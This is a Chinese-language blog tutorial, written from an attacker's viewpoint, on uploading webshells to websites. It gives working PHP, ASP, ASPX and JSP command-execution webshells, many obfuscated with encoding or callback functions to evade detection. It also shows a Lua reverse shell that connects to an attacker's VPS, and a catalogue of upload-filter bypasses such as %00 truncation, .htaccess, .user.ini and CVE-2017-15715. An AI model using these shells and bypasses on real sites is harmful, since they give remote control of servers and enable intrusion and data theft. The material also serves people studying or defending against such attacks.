前言
上传木马是我们常用的攻击手段,当你成功上传一个木马到网站,也就代表你的前渗透结束。上传是开发者最重视的地方,也是最容易被攻击的地方。
我们平时上传的木马可以分为大马和小马。大马是一个集成的shell,只要访问大马就可以使用。而小马就是我们常用的一句话木马,轻巧多变,但需要其他工具连接。
连接工具推荐蚁剑,冰蝎,这两个工具都自带木马,便于我们利用。
而按照网页编写语言的不同,木马又会被分为以下几类:
- php一句话
- asp一句话
- jsp一句话
- aspx一句话
- lua一句话
asp已经被微软舍弃,基于.NET的aspx也很少使用,jsp基于java但前后端混动且不支持Nginx。
如今PHP当道,大部分网站都是用PHP,php也就成了我们的主要研究对象。
PHP一句话
原理
经典PHP一句话
<?php @eval($_POST['cmd']);?>
原理:@
表示不报错,eval
是命令执行函数,cmd是POST参数。这条代码将cmd参数值作为命令执行。十分小巧的代码,但只要连接它就可以获得这台服务器。
这个木马因为太过经典和简易,已经成为了历史,但形形色色的webshell都是基于这个最简单的木马衍生出来的。我们将这个木马拆分,来了解后端是如何检测木马,我们又如何绕过检测。
1. php格式
首先要检测的,就是php格式。php文件的后缀必须为.php
,php代码必须被<?php ?>
包裹,这两点是无法改变的。
文件后缀绕过
想要绕过对文件后缀的检测,先要明白检测的类型。检测分为前端检测和后端检测,前端检测是通过JS实现,我们只需要改变文件名,然后BP抓包,将文件名修改为.php就可以绕过前端检测。
后端检测则是在服务器端进行判断,又分为黑名单过滤和白名单过滤。
-
黑名单
顾名思义,会过滤掉一些危险的文件后缀。此时可以通过修改后缀,在不影响网站解析的前提下绕过过滤。- 大小写
过滤对大小写不敏感时,改php为Php - %00截断
%00截断经常用在服务端把文件路径和文件名加在一起进行判断后缀,例如/upload/webshell.php%00webshell.jpg
在这里系统解析的时候会自动忽略%00后面的内容,最终解析为/upload/webshell.php
从而达到绕过的目的。 - php3457
该项为apache专属
关键点在/etc/apache2/mods-available/php5.6.conf这个文件,满足.+.ph(p[3457]?|t|tml)$,都会被当作php文件解析。在apache2目录下grep -r x-httpd-php /etc/apache2找到对应文件就能知道解析哪些后缀 - unicode
当目标存在json_decode且检查在json_decode之前,可以将php写为u0070hp - 多后缀解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache2不识别.abc后缀,所以向前解析php - .htaccess
Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
当站点配置上标有AllowOverride All,并且rewrite_mod开启时,.htaccess文件就会生效。 - CVE-2017-15715
利用在上传文件时,文件名之后添加一个x0a来绕过黑名单上传的限制 - php-cgi漏洞
在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php
解析成php。 - .user.ini
当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg
,之后上传.user.ini
与test.jpg
,过一段时间等待.user.ini
被加载后,会导致每个php文件解析之前先将test.jpg当作php解析。 - 文件头绕过
修改文件后缀为黑名单外后缀,然后在文件内容前加入文件头,如允许上传文件为图片,可加入GIF的文件头GIF89a
- 大小写
-
白名单
当后端 设置了一个白名单,如只能上传jpg,png,gif
,这时上面的绕过方式无法使用。- 图片木马
需要配合解析漏洞或者文件包含漏洞。将一句话木马放在图片源码中上传,再解析或包含图片达到解析效果。 - zip木马
利用伪协议解析,具体操作在文件包含系列中说过,不再赘述。
文件包含之伪协议
- 图片木马
文件内容绕过
对php文件检测,最明显的就是<?php ?>
,这里的绕过方式我只会一种,如果有大神有别的方法绕过请带带我。
php短标签
<?php
这是完整标签
<?
这是短标签
前提条件:
php.ini中
short_open_tag = On
除<?php ?>
,可使用更灵活的调用方法
<? /*程序操作*/ ?>
<?=/*函数*/?>
phtml
这个方法基于旧版php文件格式phtml,这个方法需要后缀检测为黑名单检测法。该方法可以绕过对<?
关键字的检测,payload为
<script language="PHP">@eval($_POST["a"]);</script>
2. php命令执行函数
大多数防火墙的检测机制就是对文件内的危险函数进行检测,在CTF中会有正则表达式对常用的命令执行函数进行过滤。这里提供几种过滤思路,不要被形式拘泥~
- 关键函数编码
x65编码字符'e'<?php array_map("assx65rt",(array)$_REQUEST['si1ence']);?> //1.php <?php array_map("asx73ert",(array)$_REQUEST['si1ence'];?> //2.php <?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['si1ence']);?> //3.php <?php eval(str_rot13('riny($_CBFG[cntr]);'));?> // 4.php
base64编码
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //5.php
-
冷门函数绕过
木马最常用的有eval
,assert
,常用的函数和我在命令执行系列中罗列的函数相同。
命令执行系列create_function()
$func = create_function('', $_POST['cmd']); $func();
file_put_contents()
把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。$ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用 file_put_contents('muma.php', $ma);
array_map()
array_map($_GET[func], array($_POST[cmd]));
回调函数
先放大佬的博客,有志研究的可以直接看大佬博客 PHP回调后门
很多回调函数在php7.0以上的版本直接被干掉了,所以要对应版本写马。call_user_func()
把第一个参数作为回调函数调用,其余参数是回调函数的参数。call_user_func('assert', $_POST['cmd']); //也可将将第一个参数设为GET参数 call_user_func($_GET['a'], $_POST['cmd']);
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数$cmd = $_REQUEST['cmd']; $arr[0] = $cmd; call_user_func_array('assert', $arr); //同上,参数可直接改为REQUEST参数 call_user_func_array($_GET['a'], $_POST['cmd']);
register_tick_function()
<?php declare(ticks=1); register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']); ?>
session_set_save_handler
session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。
编写shell如下:<?php error_reporting(0); $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert function open($save_path, $session_name) // open第一个被调用,类似类的构造函数 {} function close() // close最后一个被调用,类似 类的析构函数 { } session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op']) function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三个参数为read read(string $sessionId) session_set_save_handler("open", "close", $session, "write", "destroy", "gc"); @session_start(); // 打开会话 ?> //可以将sesssion作为GET参数传入 $session=$_REQUEST['id'];
动态函数
<?php $_GET['a']($_POST['b']);?>
asp一句话
最常见asp一句话
<%eval request ("pass")%>
简单变形
<%execute request("chopper")%>
<%execute(request("chopper"))%>
<%ExecuteGlobal request("chopper")%>
<%Eval(Request(chr(35)))%>
aspx一句话
常见aspx一句话
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
网上的asp和aspx木马都很老了,所有用好蚁剑和菜刀的木马应该就够了吧。
jsp一句话
jsp虽然少见,但还是会用到,本人java学得很烂,所以先放一个大佬的博客吧,侵删
原理
JSP的核心实质是Servlet技术。JSP是后来添加的基于Servlet的一种扩展技术。但二者在使用上有不同的方向。
由于Servlet实质是一个Java类,因此非常适合用来处理业务逻辑。而如果Servlet要展示网页内容,就必须通过输出流对象将view层的代码通过字符串的形式输出,非常麻烦,且不易阅读和维护。另一方面,在JSP中可以直接编写视图层的代码如HTML,因此JSP的它主要用来展示网页内容。但是由于JSP实质是Servlet,因此JSP也是一种动态网页技术。
web防火墙最常见的检测机制就是对文件内的敏感函数检测,而JSP的语法没有所谓的eval函数,不像php等语言那么灵活,变形困难,所以JSP的免杀马比较少,相关的文章也比较少。且因为jsp马的本质是对类的定义和调用,所以长度上也会比其他木马要长。
JSP标签
在JSP页面中嵌入java代码,首先要了解一下JSP标签的基本知识。
<%@ %> 页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式
绕过
常见jsp一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
-
二次写马
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
http://localhost/shell.jsp?f=1.txt&t=hello
写入hello至1.txt,同理可写一个新木马传入 -
简单变形
有时服务器版本不支持,会报错<%@ page language="java" contentType="text/html; charset=GBK" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>一句话木马</title> </head> <body> <% if ("admin".equals(request.getParameter("pwd"))) { java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len = -1; byte[] bytes = new byte[4092]; out.print("<pre>"); while ((len = input.read(bytes)) != -1) { out.println(new String(bytes, "GBK")); } out.print("</pre>"); } %> </body> </html>
-
编码绕过
base64编码<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64Decoder" %> <% if(request.getParameter("cmd")!=null){ BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]{}), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
同理,还有其他编码,大佬的博客上有写
lua一句话
lua是一种脚本语言,如openresty就是一个基于Nginx和Lua的Web平台,对于lua不存在传统的可持续连接的木马,需要我们访问木马页面来触发反弹shell
local sock = ngx.socket.tcp()
local ok, err = sock:connect("192.168.3.5", "2333") //VPS的ip和端口
if not ok then return end
while true do
local r,x = sock:receive()
local f = assert(io.popen(r,"r"))
local b = assert(f:read("*a"))
sock:send(b)
end
f:close()
sock:close()
后记
鉴于本人比较菜,以后遇到新型webshell会继续更新。
活用github,上面有许多木马库和webshell工具,如蚁剑、冰蝎等都与独特的木马。还有这个godzilla,可以生成木马并连接,插件多且实用。
不要去逐一尝试哪个木马可以用,而是去分析防火请的机制,注意上传手法。
Comments | 1 条评论
What’s Taking place I’m new to this, I stumbled upon this I’ve found
It positively helpful and it has helped me
out loads. I am hoping to contribute different users like its helped
me. Great job.